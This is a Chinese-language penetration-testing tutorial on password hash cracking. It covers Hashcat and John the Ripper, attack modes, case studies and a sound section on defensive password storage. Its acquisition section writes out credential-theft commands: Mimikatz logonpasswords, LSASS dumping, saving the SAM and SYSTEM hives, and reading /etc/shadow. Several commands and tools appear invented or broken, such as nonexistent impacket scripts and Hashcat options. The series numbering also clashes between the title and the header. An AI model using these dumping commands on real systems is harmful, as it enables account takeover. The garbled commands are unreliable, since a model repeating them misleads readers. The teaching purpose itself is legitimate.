Day-192-渗透测试中的密码哈希破解技术

# Day 257: 渗透测试中的密码哈希破解技术

> 渗透测试系列第 57 篇 | 预计阅读时间：45 分钟 | 难度：★★★★★

---

## 清单 目录
1. [密码哈希概述](#密码哈希概述)
2. [常见哈希算法](#常见哈希算法)
3. [哈希获取技术](#哈希获取技术)
4. [Hashcat 使用指南](#hashcat-使用指南)
5. [John the Ripper 使用指南](#john-the-ripper-使用指南)
6. [字典攻击](#字典攻击)
7. [规则攻击](#规则攻击)
8. [掩码攻击](#掩码攻击)
9. [组合攻击](#组合攻击)
10. [分布式破解](#分布式破解)
11. [哈希破解优化](#哈希破解优化)
12. [防御与加固](#防御与加固)
13. [实战案例](#实战案例)
14. [总结与思考](#总结与思考)
15. [参考资料](#参考资料)

---

## 密码哈希概述

### 什么是密码哈希

密码哈希是将密码通过哈希函数转换为固定长度的字符串的过程，用于安全存储密码。

```
┌─────────────────────────────────────────────────────────────┐
│                    密码哈希原理                              │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  密码存储演进：                                              │
│  ┌─────────────────────────────────────────────────────┐   │
│  │  明文存储 → 哈希存储 → 加盐哈希 → 密钥派生函数       │   │
│  │     ↓           ↓           ↓              ↓        │   │
│  │  不安全     彩虹表      彩虹表 + 盐       抗 GPU     │   │
│  └─────────────────────────────────────────────────────┘   │
│                                                             │
│  哈希特性：                                                  │
│  ├── 单向性                                                 │
│  │   └── 无法从哈希还原密码                                 │
│  ├── 确定性                                                 │
│  │   └── 相同输入产生相同输出                               │
│  ├── 雪崩效应                                               │
│  │   └── 微小变化产生巨大差异                               │
│  └── 抗碰撞                                                 │
│      └── 难以找到两个相同哈希的输入                         │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 哈希破解原理

```
哈希破解方法:
├── 字典攻击
│   └── 使用密码字典尝试
├── 暴力破解
│   └── 尝试所有组合
├── 彩虹表
│   └── 预计算哈希表
├── 规则攻击
│   └── 应用变换规则
└── 组合攻击
    └── 组合多个字典
```

---

## 常见哈希算法

### 哈希算法类型

```
常见哈希算法:
├── 快速哈希
│   ├── MD5
│   ├── SHA1
│   ├── SHA256
│   └── SHA512
├── 加盐哈希
│   ├── SHA256(salt+password)
│   ├── SHA512(salt+password)
│   └── HMAC
├── 密钥派生函数
│   ├── bcrypt
│   ├── scrypt
│   ├── Argon2
│   └── PBKDF2
└── 系统哈希
    ├── Windows NTLM
    ├── Windows LM
    ├── /etc/shadow
    └── 数据库哈希
```

### 哈希格式识别

```bash
# 使用 hash-identifier 识别哈希
hash-identifier

# 使用 hashid 识别
hashid hash.txt

# 使用 John 识别
john --format=raw-md5 hash.txt
john --format=raw-sha1 hash.txt
john --format=raw-sha256 hash.txt

# 常见哈希特征
# MD5: 32 字符十六进制 (128 位)
# SHA1: 40 字符十六进制 (160 位)
# SHA256: 64 字符十六进制 (256 位)
# SHA512: 128 字符十六进制 (512 位)
# NTLM: 32 字符十六进制
# bcrypt: $2a$ 开头
```

### 哈希强度对比

| 算法 | 速度 | 安全性 | 推荐度 |
|------|------|--------|--------|
| **MD5** | 极快 | 低 | - 不推荐 |
| **SHA1** | 快 | 低 | - 不推荐 |
| **SHA256** | 快 | 中 | ! 需加盐 |
| **bcrypt** | 慢 | 高 | + 推荐 |
| **scrypt** | 很慢 | 高 | + 推荐 |
| **Argon2** | 很慢 | 很高 | + 最佳 |

---

## 哈希获取技术

### Windows 哈希获取

```bash
# Windows 哈希获取方法

# 1. Mimikatz 提取
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::sam

# 2. 注册表提取
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
impacket-secretsdump -sam sam.hive -system system.hive LOCAL

# 3. LSASS 转储
procdump -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

# 4. Volume Shadow Copy
vssadmin create shadow /For=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy*\Windows\System32\config\SAM sam.hive

# 5. Ntds.dit 提取 (域控制器)
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL
```

### Linux 哈希获取

```bash
# Linux 哈希获取方法

# 1. /etc/shadow 文件
sudo cat /etc/shadow

# 2. 从备份获取
sudo cat /etc/shadow-
sudo cat /backup/shadow

# 3. 内存提取
sudo python3 /usr/share/doc/python3-impacket/examples/samrdump.py TARGET

# 4. 网络获取
# SMB 哈希抓取
responder -I eth0 -w

# 5. 数据库哈希
# MySQL
SELECT Host, User, authentication_string FROM mysql.user;

# PostgreSQL
SELECT usename, passwd FROM pg_shadow;
```

### 数据库哈希获取

```bash
# 数据库哈希提取

# MySQL
mysql -u root -p -e "SELECT Host, User, authentication_string FROM mysql.user;"

# PostgreSQL
psql -U postgres -c "SELECT usename, passwd FROM pg_shadow;"

# MSSQL
impacket-mssqlserver -target-ip 192.168.1.100 sa:password -query "SELECT name, password_hash FROM sys.sql_logins"

# Oracle
impacket-tsqlescape -target-ip 192.168.1.100 system:password -query "SELECT name, password FROM sys.user$"
```

---

## Hashcat 使用指南

### Hashcat 基础

```bash
# Hashcat 安装
# Ubuntu
apt install hashcat

# macOS
brew install hashcat

# 查看支持的设备
hashcat -I

# 查看支持的哈希类型
hashcat --help | head -100

# 基准测试
hashcat -b
```

### 哈希模式

```bash
# 常见哈希模式
# 0 = MD5
# 100 = SHA1
# 1400 = SHA256
# 1700 = SHA512
# 1000 = NTLM
# 3200 = bcrypt
# 16800 = WPA/WPA2
# 11600 = 7-Zip
# 13600 = WinZip

# 查看完整列表
hashcat --help | grep -A 200 "Hash-Mode"
```

### 基本破解

```bash
# MD5 破解
hashcat -m 0 -a 0 hash.txt wordlist.txt

# SHA256 破解
hashcat -m 1400 -a 0 hash.txt wordlist.txt

# NTLM 破解
hashcat -m 1000 -a 0 hash.txt wordlist.txt

# bcrypt 破解
hashcat -m 3200 -a 0 hash.txt wordlist.txt

# WPA/WPA2 破解
hashcat -m 2500 -a 0 handshake.hccapx wordlist.txt
```

### 攻击模式

```bash
# Hashcat 攻击模式
# -a 0 = 字典攻击
# -a 1 = 组合攻击
# -a 3 = 掩码攻击
# -a 6 = 混合攻击 (字典 + 掩码)
# -a 7 = 混合攻击 (掩码 + 字典)

# 字典攻击
hashcat -m 0 -a 0 hash.txt wordlist.txt

# 组合攻击
hashcat -m 0 -a 1 hash.txt wordlist1.txt wordlist2.txt

# 掩码攻击
hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a

# 混合攻击
hashcat -m 0 -a 6 hash.txt wordlist.txt ?d?d?d?d
```

---

## John the Ripper 使用指南

### John 基础

```bash
# John the Ripper 安装
# Ubuntu
apt install john

# macOS
brew install john-jumbo

# 查看支持格式
john --list=formats

# 查看支持设备
john --list=opencl-devices
```

### 基本使用

```bash
# 自动检测格式并破解
john hash.txt

# 指定格式破解
john --format=raw-md5 hash.txt
john --format=raw-sha1 hash.txt
john --format=nt hash.txt

# 使用字典
john --wordlist=wordlist.txt hash.txt

# 使用规则
john --wordlist=wordlist.txt --rules hash.txt

# 显示破解结果
john --show hash.txt
```

### 高级功能

```bash
# 增量模式 (暴力破解)
john --incremental hash.txt

# 外部模式
john --external=Filter hash.txt

# 会话管理
john --session=session1 hash.txt  # 开始会话
john --restore=session1           # 恢复会话

# 多 GPU 支持
john --device=1,2 hash.txt

# 输出格式
john --show --format=csv hash.txt
```

---

## 字典攻击

### 字典准备

```bash
# 常用字典
# rockyou.txt - 1400 万密码
# crackstation-human-only.txt - 1.5 亿密码
# probable-v2-top1234.txt - 常用密码

# 字典位置
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/crackstation.txt
~/.hashcat/wordlists/

# 解压 rockyou
gzip -d /usr/share/wordlists/rockyou.txt.gz
```

### 字典优化

```bash
# 字典去重
sort wordlist.txt | uniq > wordlist_unique.txt

# 字典排序 (按长度)
awk '{ print length, $0 }' wordlist.txt | sort -n | cut -d' ' -f2- > wordlist_sorted.txt

# 字典过滤 (按长度)
awk 'length >= 8 && length <= 20' wordlist.txt > wordlist_filtered.txt

# 字典合并
cat wordlist1.txt wordlist2.txt | sort -u > combined_wordlist.txt

# 字典统计
wc -l wordlist.txt
```

### 定制字典

```bash
# 基于目标信息生成字典
# 使用 crunch 生成
crunch 8 12 0123456789 -o numbers.txt
crunch 8 12 abcdefghijklmnopqrstuvwxyz -o lowercase.txt

# 使用 CUPP (用户信息)
git clone https://github.com/Mebus/cupp.git
python3 cupp.py -i

# 基于网站生成
cewl -d 2 -m 8 -w cewl_wordlist.txt https://target.com

# 混合字典
cat rockyou.txt cewl_wordlist.txt numbers.txt | sort -u > custom_wordlist.txt
```

---

## 规则攻击

### Hashcat 规则

```bash
# Hashcat 规则引擎
# -r 规则文件

# 使用内置规则
hashcat -m 0 -a 0 -r rules/best64.rule hash.txt wordlist.txt
hashcat -m 0 -a 0 -r rules/OneRuleToRuleThemAll.rule hash.txt wordlist.txt

# 常用规则文件
# rules/best64.rule - 64 条最佳规则
# rules/T0XlC.rule - T0XlC 规则集
# rules/InsidePro-Hashkill.rule - InsidePro 规则

# 查看规则
cat rules/best64.rule
```

### 规则语法

```bash
# Hashcat 规则语法
# : 空操作
# c 转换大小写
# C 全部大写
# L 全部小写
# t 切换大小写
# T 切换指定位置字符
# - 删除最后一个字符
# $ 添加字符到末尾
# ^ 添加字符到开头
# l 提取左侧字符
# r 提取右侧字符
# d 复制字符串
# p 重复字符串
# i 插入字符
# o 替换字符
# x 删除指定范围字符

# 规则示例
# c 转换第一个字符大小写
# $1 在末尾添加 1
# ^1 在开头添加 1
# d 复制字符串 (password -> passwordpassword)
```

### 自定义规则

```bash
# 创建自定义规则
cat > custom.rule << EOF
:
c
C
$1
$2
$3
^1
^2
^3
d
EOF

# 使用自定义规则
hashcat -m 0 -a 0 -r custom.rule hash.txt wordlist.txt

# 规则组合
cat best64.rule T0XlC.rule | sort -u > combined.rule
hashcat -m 0 -a 0 -r combined.rule hash.txt wordlist.txt
```

---

## 掩码攻击

### 掩码语法

```bash
# Hashcat 掩码字符集
# ?l = abcdefghijklmnopqrstuvwxyz
# ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
# ?d = 0123456789
# ?s = !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
# ?a = ?l?u?d?s (全部字符)
# ?b = 0x00-0xff (所有字节)

# 掩码示例
# ?a?a?a?a?a?a = 6 位任意字符
# ?l?l?l?d?d?d = 3 位字母 +3 位数字
# ?u?l?l?l?d?d?d?d = 大写 +3 位字母 +4 位数字
```

### 掩码攻击

```bash
# 6 位数字 PIN
hashcat -m 0 -a 3 hash.txt ?d?d?d?d?d?d

# 8 位字母 + 数字
hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a?a?a

# 已知模式 (密码 + 年份)
hashcat -m 0 -a 3 hash.txt ?l?l?l?l?l?l?d?d?d?d

# 已知前缀
hashcat -m 0 -a 3 hash.txt Password?a?a?a?a

# 已知后缀
hashcat -m 0 -a 3 hash.txt ?a?a?a?a123
```

### 掩码优化

```bash
# 限制长度范围
hashcat -m 0 -a 3 --increment hash.txt ?a?a?a?a?a?a?a?a
hashcat -m 0 -a 3 --increment --increment-min 8 --increment-max 10 hash.txt ?a?a?a?a?a?a?a?a

# 自定义字符集
hashcat -m 0 -a 3 -1 ?l?d hash.txt -1?l?d?1?1?1?1?1?1?1?1

# 分布优化
hashcat -m 0 -a 3 --markov-hashcat hash.txt ?a?a?a?a?a?a?a?a
```

---

## 组合攻击

### 组合模式

```bash
# 组合两个字典
hashcat -m 0 -a 1 hash.txt wordlist1.txt wordlist2.txt

# 组合多个字典
hashcat -m 0 -a 1 hash.txt wordlist1.txt wordlist2.txt wordlist3.txt

# 组合 + 分隔符
hashcat -m 0 -a 1 hash.txt wordlist1.txt wordlist2.txt --separator @

# 组合 + 规则
hashcat -m 0 -a 1 -r rules/best64.rule hash.txt wordlist1.txt wordlist2.txt
```

### 组合优化

```bash
# 限制组合长度
hashcat -m 0 -a 1 --pw-min 8 --pw-max 20 hash.txt wordlist1.txt wordlist2.txt

# 过滤组合
hashcat -m 0 -a 1 hash.txt wordlist1.txt wordlist2.txt --regex-filter '.*[0-9].*'

# 右组合 (只组合右侧)
hashcat -m 0 -a 1 hash.txt wordlist1.txt wordlist2.txt --left-min 1 --left-max 10
```

---

## 分布式破解

### 多 GPU 支持

```bash
# 查看 GPU 设备
hashcat -I

# 使用特定 GPU
hashcat -m 0 -a 0 --opencl-device-types 1 hash.txt wordlist.txt

# 使用多个 GPU
hashcat -m 0 -a 0 -d 1,2,3 hash.txt wordlist.txt

# GPU 优化
hashcat -m 0 -a 0 --gpu-temp-abort 100 --gpu-temp-retain 80 hash.txt wordlist.txt
```

### 分布式 Hashcat

```bash
# Hashtopolis 分布式破解
# 1. 安装 Hashtopolis 服务器
git clone https://github.com/s3inlc/hashtopolis.git

# 2. 配置客户端
# 下载客户端并配置服务器地址

# 3. 创建任务
# 在 Web 界面创建破解任务

# 4. 监控进度
# Web 界面查看进度
```

### 云破解

```bash
# 使用云 GPU
# AWS EC2 GPU 实例
# Google Cloud GPU
# Azure GPU 实例

# 优化云破解
# 1. 使用 Spot 实例降低成本
# 2. 使用多个实例并行
# 3. 使用高速存储
```

---

## 哈希破解优化

### 性能优化

```bash
# Hashcat 性能优化
# -o 输出文件
# --show 显示结果
# --remove 移除已破解哈希
# --session 会话名称
# --status 显示状态
# --status-timer 状态更新间隔

hashcat -m 0 -a 0 -o cracked.txt --show --remove --session=my_session --status --status-timer=10 hash.txt wordlist.txt

# 工作负载调整
hashcat -m 0 -a 0 --workload-profile 1 hash.txt wordlist.txt
# 1 = Low (省电)
# 2 = Default
# 3 = High
# 4 = Nightmare

# 内核加速
hashcat -m 0 -a 0 --kernel-accel 1 --kernel-loops 1 hash.txt wordlist.txt
```

### 策略优化

```bash
# 破解策略
# 1. 先快速哈希 (MD5/SHA1)
# 2. 使用小字典 + 规则
# 3. 使用大字典
# 4. 掩码攻击 (已知模式)
# 5. 暴力破解 (最后手段)

# 示例策略
# 第一步：常用密码
hashcat -m 0 -a 0 hash.txt top1000.txt

# 第二步：规则攻击
hashcat -m 0 -a 0 -r rules/best64.rule hash.txt rockyou.txt

# 第三步：大字典
hashcat -m 0 -a 0 hash.txt crackstation.txt

# 第四步：掩码攻击
hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a?a?a
```

### 恢复与继续

```bash
# 会话管理
hashcat --session=my_session -m 0 -a 0 hash.txt wordlist.txt  # 开始
hashcat --session=my_session --quit                          # 暂停
hashcat --session=my_session --restore                       # 恢复
hashcat --session=my_session --remove                        # 移除已破解

# 断点继续
hashcat -m 0 -a 0 --skip 1000000 --limit 1000000 hash.txt wordlist.txt
```

---

## 防御与加固

### 密码存储加固

```
密码存储最佳实践:
├── 使用强哈希算法
│   ├── Argon2 (最佳)
│   ├── bcrypt
│   └── scrypt
├── 加盐
│   ├── 每用户唯一盐
│   └── 足够长度 (16+ 字节)
├── 迭代次数
│   ├── 足够迭代
│   └── 定期增加
└── 密钥派生
    └── PBKDF2/bcrypt/scrypt/Argon2
```

```python
# Python 安全密码存储示例
import bcrypt
import argon2

# bcrypt 实现
def hash_password_bcrypt(password):
    salt = bcrypt.gensalt(rounds=12)
    hashed = bcrypt.hashpw(password.encode(), salt)
    return hashed

def verify_password_bcrypt(password, hashed):
    return bcrypt.checkpw(password.encode(), hashed)

# Argon2 实现 (推荐)
ph = argon2.PasswordHasher(
    time_cost=3,
    memory_cost=65536,
    parallelism=4,
    hash_len=32,
    salt_len=16
)

def hash_password_argon2(password):
    return ph.hash(password)

def verify_password_argon2(password, hashed):
    try:
        ph.verify(hashed, password)
        return True
    except:
        return False
```

### 密码策略

```
密码策略建议:
├── 最小长度
│   └── 12+ 字符
├── 复杂度要求
│   ├── 大小写字母
│   ├── 数字
│   └── 特殊字符
├── 密码历史
│   └── 不重复使用
├── 定期更换
│   └── 90 天更换
└── 多因素认证
    └── 强制 MFA
```

### 监控与检测

```
哈希破解检测:
├── 登录监控
│   ├── 失败登录
│   ├── 异常时间
│   └── 异常地点
├── 账户锁定
│   ├── 多次失败
│   └── 临时锁定
├── 告警机制
│   ├── 实时告警
│   └── 阈值告警
└── 审计日志
    └── 完整日志
```

---

## 实战案例

### 案例一：企业密码安全评估

#### 场景描述

```
客户：某大型企业
账户：5000+ 用户
哈希类型：NTLM
时间：1 周
```

#### 破解过程

```
Day 1-2: 哈希获取
┌─────────────────────────────────────────────────────────┐
│ - 获取域控制器哈希                                      │
│   - 使用 DCSync 获取 NTDS.dit                            │
│   - 提取所有用户哈希                                     │
│   - 共 5200 个哈希                                        │
│                                                         │
│ - 获取本地管理员哈希                                    │
│   - 使用 Mimikatz 提取                                   │
│   - 共 500 个工作站哈希                                   │
└─────────────────────────────────────────────────────────┘

Day 3-5: 哈希破解
┌─────────────────────────────────────────────────────────┐
│ - 第一阶段：常用密码                                    │
│   - 使用 top1000.txt                                    │
│   - 破解 1500 个哈希 (30%)                                │
│                                                         │
│ - 第二阶段：规则攻击                                    │
│   - 使用 best64.rule + rockyou.txt                       │
│   - 破解 2000 个哈希 (40%)                                │
│                                                         │
│ - 第三阶段：掩码攻击                                    │
│   - 已知模式：Password+ 年份                              │
│   - 破解 500 个哈希 (10%)                                 │
│                                                         │
│ - 总计：破解 4000 个哈希 (80%)                            │
└─────────────────────────────────────────────────────────┘

Day 6-7: 报告与修复
┌─────────────────────────────────────────────────────────┐
│ - 编写破解报告                                          │
│ - 提交弱密码列表                                        │
│ - 协助密码策略改进                                      │
│ - 实施 MFA                                              │
└─────────────────────────────────────────────────────────┘
```

#### 发现的问题

```
密码强度分析:
├── 弱密码：4000 个 (80%)
│   ├── 常用密码：1500 个
│   ├── 简单密码：2000 个
│   └── 模式密码：500 个
├── 中等密码：800 个 (16%)
└── 强密码：200 个 (4%)

最常见密码:
1. Password123 (500 次)
2. Welcome1 (300 次)
3. Admin123 (200 次)
4. Company2023 (150 次)
5. 123456 (100 次)
```

### 案例二：渗透测试哈希破解

#### 场景描述

```
客户：某金融机构
哈希类型：bcrypt
数量：100 个
时间：2 周
```

#### 测试结果

```
破解结果:
├── 已破解：60 个 (60%)
├── 未破解：40 个 (40%)
└── 平均破解时间：3 天/哈希

密码模式:
├── 公司名称 + 年份：30%
├── 个人信息：25%
├── 常用密码：20%
└── 随机密码：25%

建议:
├── 实施密码策略
├── 强制 MFA
├── 定期密码审计
└── 安全意识培训
```

---

## 总结与思考

### 核心要点回顾

1. **哈希破解是核心技能**
   - 获取凭证重要手段
   - 横向移动基础
   - 权限提升关键

2. **工具选择重要**
   - Hashcat (GPU 加速)
   - John the Ripper (CPU)
   - 根据场景选择

3. **字典质量关键**
   - 定制字典
   - 规则攻击
   - 组合攻击

4. **性能优化必要**
   - GPU 加速
   - 分布式破解
   - 策略优化

5. **防御同样重要**
   - 强哈希算法
   - 密码策略
   - 多因素认证

### 实战建议

1. **对测试人员**:
   - 掌握 Hashcat/John
   - 准备高质量字典
   - 学习规则语法
   - 合法使用

2. **对组织**:
   - 实施强密码策略
   - 使用强哈希算法
   - 强制 MFA
   - 定期密码审计

3. **对开发人员**:
   - 使用 Argon2/bcrypt
   - 加盐存储
   - 足够迭代次数
   - 密码强度检查

---

## 参考资料

### 学习资源

- **Hashcat Wiki**
  - https://hashcat.net/wiki/

- **John the Ripper Documentation**
  - https://www.openwall.com/john/

- **OWASP Password Storage**
  - https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html

### 工具资源

| 工具 | 用途 | 链接 |
|------|------|------|
| **Hashcat** | GPU 破解 | https://hashcat.net/ |
| **John the Ripper** | CPU 破解 | https://www.openwall.com/john/ |
| **Hash-identifier** | 哈希识别 | https://code.google.com/archive/p/hash-identifier/ |
| **CUPP** | 定制字典 | https://github.com/Mebus/cupp |
| **Crunch** | 字典生成 | apt install crunch |

### 书籍推荐

1. **《Hashcat Usage Guide》**
   - Hashcat 官方指南

2. **《John the Ripper Cookbook》**
   - John 使用手册

3. **《Password Cracking Essentials》**
   - 密码破解基础

---

*365 天信息安全技术系列 | Day 257 | 渗透测试补充系列 | 密码哈希破解技术*
*创建时间：2026-04-12 | 作者：安全专家 · 严谨专业版*